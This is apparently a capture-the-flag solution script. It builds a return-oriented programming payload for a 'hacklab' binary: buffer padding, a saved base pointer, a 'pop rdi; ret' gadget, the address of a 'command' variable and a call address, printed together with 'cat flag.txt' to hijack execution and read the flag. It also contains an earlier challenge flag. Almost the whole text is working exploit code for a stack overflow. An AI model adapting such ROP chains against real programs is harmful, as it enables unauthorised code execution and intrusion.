#ROP
#0x0000000000401283 : pop rdi ; ret

#objdump
#0000000000404048 g     O .data	0000000000000008              command

OLDFLAG="hacklab{SSE_1n5truct10n5_n33d_spec14l_al1gnm3nt_UwT8mByQ}\n"
PADDING="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" #32
SAVERBP="\x90\xde\xff\xff\xff\x7f\x00\00"  #kind of irrelevant
GADGET1="\x84\x12\x40\00\00\00\00\00"      #ret (for stack alignment)
GADGET2="\x83\x12\x40\00\00\00\00\00"      #pop rdi, ret
CMDADDR="\x48\x40\x40\00\00\00\00\00"
CMDCALL="\x10\x12\x40\00\00\00\00\00"

printf "$OLDFLAG$PADDING$SAVERBP$GADGET2$CMDADDR$CMDCALL\ncat flag.txt\n"